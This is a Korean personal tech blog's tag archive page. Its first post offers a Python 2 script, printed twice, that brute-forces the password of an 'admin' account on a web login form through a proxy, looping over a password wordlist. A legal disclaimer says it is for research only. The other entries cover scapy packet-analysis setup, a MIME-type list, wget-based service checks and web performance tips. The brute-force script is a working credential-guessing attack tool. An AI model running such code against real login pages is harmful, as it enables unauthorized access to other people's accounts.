Tag Archives: http

python brute force http, https with proxy

by apollo89 Posted on 2014년 3월 4일

Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다. 연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다. python brute force http, https with proxy

# -*- coding: utf-8 -*-
import urllib, urllib2, optparse, time

opener = urllib2.build_opener(
                urllib2.HTTPHandler(),
                urllib2.HTTPSHandler(),
                urllib2.ProxyHandler({'http': 'http://proxy_url:port', 'https': 'http://proxy_url:port'}))
urllib2.install_opener(opener)


def post_request(url, params) :
	param = urllib.urlencode(params)
	request = urllib2.Request(url, param)
	
	response = urllib2.urlopen(request)
	response_info = response.info()
	response_html = response.read()
	response.close()

	if response_html.find('用'.decode('gb2312').encode('utf-8'), 0, 100) :
		print(" .")
	else : 
		print("found password!!")

def get_request(url) :
	response = urllib2.urlopen(url)
	response_info = response.info()
	response_html = response.read()
	response.close()

def main():
	parser = optparse.OptionParser('usage bf.py -f passwordfile')
	parser.add_option('-f', dest='filename', type='string', help='input file')

	(options, args) = parser.parse_args()

	filename = options.filename

	if filename == None :
		print parser.usage
		exit(0)

	f = file(filename, 'r')

	while True:
		line = f.readline()

		if not line  :
			# file end
			break
		else :
			print ("passwd : " + line.rstrip('\n'))
			post_url = "https://target.domain/path/login.action"
			post_params = { 
			'paraam1':'test',
			'UserId':'admin',
			'UserPass':line.rstrip('\n')
			}
			post_request(post_url, post_params)

			time.sleep(1)

if __name__ == '__main__':
    main()

# -*- coding: utf-8 -*-

import urllib, urllib2, optparse, time

opener = urllib2.build_opener(

urllib2.HTTPHandler(),

urllib2.HTTPSHandler(),

urllib2.ProxyHandler({'http': 'http://proxy_url:port', 'https': 'http://proxy_url:port'}))

urllib2.install_opener(opener)

def post_request(url, params) :

param = urllib.urlencode(params)

request = urllib2.Request(url, param)

response = urllib2.urlopen(request)

response_info = response.info()

response_html = response.read()

response.close()

if response_html.find('用'.decode('gb2312').encode('utf-8'), 0, 100) :

print(" .")

else :

print("found password!!")

def get_request(url) :

response = urllib2.urlopen(url)

response_info = response.info()

response_html = response.read()

response.close()

def main():

parser = optparse.OptionParser('usage bf.py -f passwordfile')

parser.add_option('-f', dest='filename', type='string', help='input file')

(options, args) = parser.parse_args()

filename = options.filename

if filename == None :

print parser.usage

exit(0)

f = file(filename, 'r')

while True:

line = f.readline()

if not line :

# file end

break

else :

print ("passwd : " + line.rstrip('\n'))

post_url = "https://target.domain/path/login.action"

post_params = {

'paraam1':'test',

'UserId':'admin',

'UserPass':line.rstrip('\n')

}

post_request(post_url, post_params)

time.sleep(1)

if __name__ == '__main__':

main()

Posted in Python/Ruby/Perl, Security/Hacking | Tagged brute force, http, https, proxy, 파이썬 | Leave a comment

보호된 글: Training: WWW-Robots (HTTP, Training)

by apollo89 Posted on 2013년 6월 2일

보호 글이라서 요약이 없습니다.

Posted in wechall.net | Tagged http, Training, wechall.net | 댓글을 보려면 비밀번호를 입력하세요.

scapy를 이용한 http network 패킷 분석 프로그램

by apollo89 Posted on 2013년 2월 22일

scapy를 이용한 network 패킷 분석 에 이어서 scapy를 이용한 http network 패킷 분석 프로그램을 만들어보았다. 우선은 sniffing 하지 않고 그냥 pcap 파일을 읽어서 하는 방식으로 작업했다. (PacketInside.com 의 Examples 을 입맛에 맞게 수정했다.) pcap의 파일에서 200개의 패킷을 읽어서 http의 … Continue reading →

Posted in Network, Python/Ruby/Perl | Tagged http, Network, scapy, sniffing, 파이썬, 패킷분석 | 2 Comments

scapy를 이용한 network 패킷 분석

by apollo89 Posted on 2013년 2월 21일

네트워크 패킷에서 HTTP 의 request와 response 의 header 정보를 추출해야 하는 일이 생겼다. 그래서 패킷 분석 프로그램을 찾아보던 중 python의 scapy를 알게 되었다. 그래서, 바로 설치~

]$ sudo apt-get install python-scapy

1	]$ sudo apt-get install python-scapy

우분투 장비라서 apt-get으로 간단하게 설치 scapy의 실행 및 환경보기

]$ sudo scapy
INFO: Can't import python gnuplot wrapper . Won't be able to plot.
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
WARNING: No route found for IPv6 destination :: (no default route?)
Welcome to Scapy (2.1.0)
>>> conf
ASN1_default_codec = <ASN1Codec BER[1]>
AS_resolver = <scapy.as_resolvers.AS_resolver_multi instance at 0x2476758>
BTsocket   = <BluetoothL2CAPSocket: read/write packets on a connected L2CAP ...
L2listen   = <L2ListenSocket: read packets at layer 2 using Linux PF_PACKET ...
L2socket   = <L2Socket: read/write packets at layer 2 using Linux PF_PACKET ...
L3socket   = <L3PacketSocket: read/write packets at layer 3 using Linux PF_P...
auto_fragment = 1
checkIPID  = 0
checkIPaddr = 1
checkIPsrc = 1
check_TCPerror_seqack = 0
color_theme = <DefaultTheme>
commands   = arpcachepoison : Poison target's cache with (your MAC,victim's ...
debug_dissector = 0
debug_match = 0
default_l2 = <class 'scapy.packet.Raw'>
emph       = <Emphasize []>
ethertypes = </etc/ethertypes/ >
except_filter = ''
extensions_paths = '.'
histfile   = '/home/apollo89/.scapy_history'
iface      = 'eth0'
iface6     = 'lo'
interactive = True
ipv6_enabled = True
l2types    = 0x1 <- Dot3 (802.3) 0x1 <-> Ether (Ethernet) 0xc -> IP (IP) 0x1...
l3types    = 0x3 -> IP (IP) 0x800 <-> IP (IP) 0x806 <-> ARP (ARP) 0x86dd <->...
layers     = Packet : None NoPayload : None Raw : Raw Padding : Padding ASN1...
load_layers = ['l2', 'inet', 'dhcp', 'dns', 'dot11', 'gprs', 'hsrp', 'inet6'...
logLevel   = 20
manufdb    = </usr/share/wireshark/wireshark/manuf/ >
mib        = <MIB/ >
neighbor   = Dot3 -> IP Ether -> IP Ether -> Dot1Q Ether -> ARP Ether -> IPv...
netcache   = arp_cache: 0 valid items. Timeout=120s in6_neighbor: 0 valid it...
noenum     = <Resolve []>
padding    = 1
prog       = display = 'display' dot = 'dot' hexedit = 'hexer' pdfreader = '...
promisc    = 1
prompt     = '>>> '
protocols  = </etc/protocols/ pim ip ax_25 esp tcp ah mpls_in_ip rohc ipv6_o...
raw_layer  = <class 'scapy.packet.Raw'>
raw_summary = False
readfunc   = None
resolve    = <Resolve []>
route      = Network Netmask Gateway Iface Output IP 127.0.0.0 255.0.0.0 0.0...
route6     = Destination Next Hop iface src candidates fe80::/64 :: eth0 fe8...
services_tcp = </etc/services-tcp/ kpop zabbix_trapper noclog svn cmip_man b...
services_udp = </etc/services-udp/ zabbix_trapper noclog cmip_man z3950 root...
session    = ''
sniff_promisc = 1
stats_classic_protocols = [<class 'scapy.layers.inet.TCP'>, <class 'scapy.la...
stats_dot11_protocols = [<class 'scapy.layers.inet.TCP'>, <class 'scapy.laye...
stealth    = 'not implemented'
temp_files = []
teredoPrefix = '2001::'
teredoServerPort = 3544
use_dnet   = False
use_pcap   = False
verb       = 2
version    = '2.1.0'
warning_threshold = 5
wepkey     = ''
>>>

]$ sudo scapy

INFO: Can't import python gnuplot wrapper . Won't be able to plot.

INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().

WARNING: No route found for IPv6 destination :: (no default route?)

Welcome to Scapy (2.1.0)

>>> conf

ASN1_default_codec = <ASN1Codec BER[1]>

AS_resolver = <scapy.as_resolvers.AS_resolver_multi instance at 0x2476758>

BTsocket = <BluetoothL2CAPSocket: read/write packets on a connected L2CAP ...

L2listen = <L2ListenSocket: read packets at layer 2 using Linux PF_PACKET ...

L2socket = <L2Socket: read/write packets at layer 2 using Linux PF_PACKET ...

L3socket = <L3PacketSocket: read/write packets at layer 3 using Linux PF_P...

auto_fragment = 1

checkIPID = 0

checkIPaddr = 1

checkIPsrc = 1

check_TCPerror_seqack = 0

color_theme = <DefaultTheme>

commands = arpcachepoison : Poison target's cache with (your MAC,victim's ...

debug_dissector = 0

debug_match = 0

default_l2 = <class 'scapy.packet.Raw'>

emph = <Emphasize []>

ethertypes = </etc/ethertypes/ >

except_filter = ''

extensions_paths = '.'

histfile = '/home/apollo89/.scapy_history'

iface = 'eth0'

iface6 = 'lo'

interactive = True

ipv6_enabled = True

l2types = 0x1 <- Dot3 (802.3) 0x1 <-> Ether (Ethernet) 0xc -> IP (IP) 0x1...

l3types = 0x3 -> IP (IP) 0x800 <-> IP (IP) 0x806 <-> ARP (ARP) 0x86dd <->...

layers = Packet : None NoPayload : None Raw : Raw Padding : Padding ASN1...

load_layers = ['l2', 'inet', 'dhcp', 'dns', 'dot11', 'gprs', 'hsrp', 'inet6'...

logLevel = 20

manufdb = </usr/share/wireshark/wireshark/manuf/ >

mib = <MIB/ >

neighbor = Dot3 -> IP Ether -> IP Ether -> Dot1Q Ether -> ARP Ether -> IPv...

netcache = arp_cache: 0 valid items. Timeout=120s in6_neighbor: 0 valid it...

noenum = <Resolve []>

padding = 1

prog = display = 'display' dot = 'dot' hexedit = 'hexer' pdfreader = '...

promisc = 1

prompt = '>>> '

protocols = </etc/protocols/ pim ip ax_25 esp tcp ah mpls_in_ip rohc ipv6_o...

raw_layer = <class 'scapy.packet.Raw'>

raw_summary = False

readfunc = None

resolve = <Resolve []>

route = Network Netmask Gateway Iface Output IP 127.0.0.0 255.0.0.0 0.0...

route6 = Destination Next Hop iface src candidates fe80::/64 :: eth0 fe8...

services_tcp = </etc/services-tcp/ kpop zabbix_trapper noclog svn cmip_man b...

services_udp = </etc/services-udp/ zabbix_trapper noclog cmip_man z3950 root...

session = ''

sniff_promisc = 1

stats_classic_protocols = [<class 'scapy.layers.inet.TCP'>, <class 'scapy.la...

stats_dot11_protocols = [<class 'scapy.layers.inet.TCP'>, <class 'scapy.laye...

stealth = 'not implemented'

temp_files = []

teredoPrefix = '2001::'

teredoServerPort = 3544

use_dnet = False

use_pcap = False

verb = 2

version = '2.1.0'

warning_threshold = 5

wepkey = ''

>>>

scapy으로 sniffing … Continue reading →

Posted in Network, Python/Ruby/Perl | Tagged http, Network, scapy, 파이썬, 패킷분석 | Leave a comment

확장자에 따른 contentType 정리..

by apollo89 Posted on 2009년 3월 24일

확장자에 따른 contentType 정리..

response.setHeader("Content-Type",getMime("확장자"));

1	response.setHeader("Content-Type",getMime("확장자"));

3dm : x-world/x-3dmf 3dmf : x-world/x-3dmf a : application/octet-stream aab : application/x-authorware-bin aam : application/x-authorware-map aas : application/x-authorware-seg abc : text/vnd.abc acgi : text/html afl : video/animaflex ai : application/postscript aif : audio/aiff aifc … Continue reading →

Posted in Network, PHP/ASP, WEB/WAS | Tagged contentType, header, http, mimetype | Leave a comment

wget 이용한 품질 체크(HTTP Submit Process)

by apollo89 Posted on 2008년 5월 21일

다음과 같은 2가지 사항에 대해서 체크한다면, 웹서비스에 대한 기본적인 품질 체크는 가능할 것이다. 1. 페이지 응답체크 2. 페이지 응답시간 여기에 덧붙여서 Submit Process까지 체크한다면, 더 나은 품질 모니터링 환경을 만들 수 있을 것이다. Submit Process 어떤 웹서비스가 제대로 작동하는지 … Continue reading →

Posted in System, WEB/WAS | Tagged http, Submit Process, wget, 품질 체크 | Leave a comment

웹 성능 향상 개발 방법

by apollo89 Posted on 2008년 5월 14일

웹 성능 향상 개발 방법 1. Make fewer HTTP requests – 사용자 응답시간의 80%는 프론트앤드단에서 발생한다. 많은 시간을 페이지의 컴포넌트(이미지, css, script, flash등)를 다운받는데 쓰인다는 얘기다. 위의 컴포넌트는 각각의 http request를 유발시켜서 페이지를 느리게 한다. – Image Maps – … Continue reading →

Posted in Javascript/Html, WEB/WAS | Tagged header, http, redirects, requests, 아파치, 웹성능 | Leave a comment

Apollo89.com

아폴로씨의 잡다한 경험들..

Tag Archives: http

python brute force http, https with proxy

보호된 글: Training: WWW-Robots (HTTP, Training)

scapy를 이용한 http network 패킷 분석 프로그램

scapy를 이용한 network 패킷 분석

확장자에 따른 contentType 정리..

wget 이용한 품질 체크(HTTP Submit Process)

웹 성능 향상 개발 방법

카테고리

최신 댓글

메타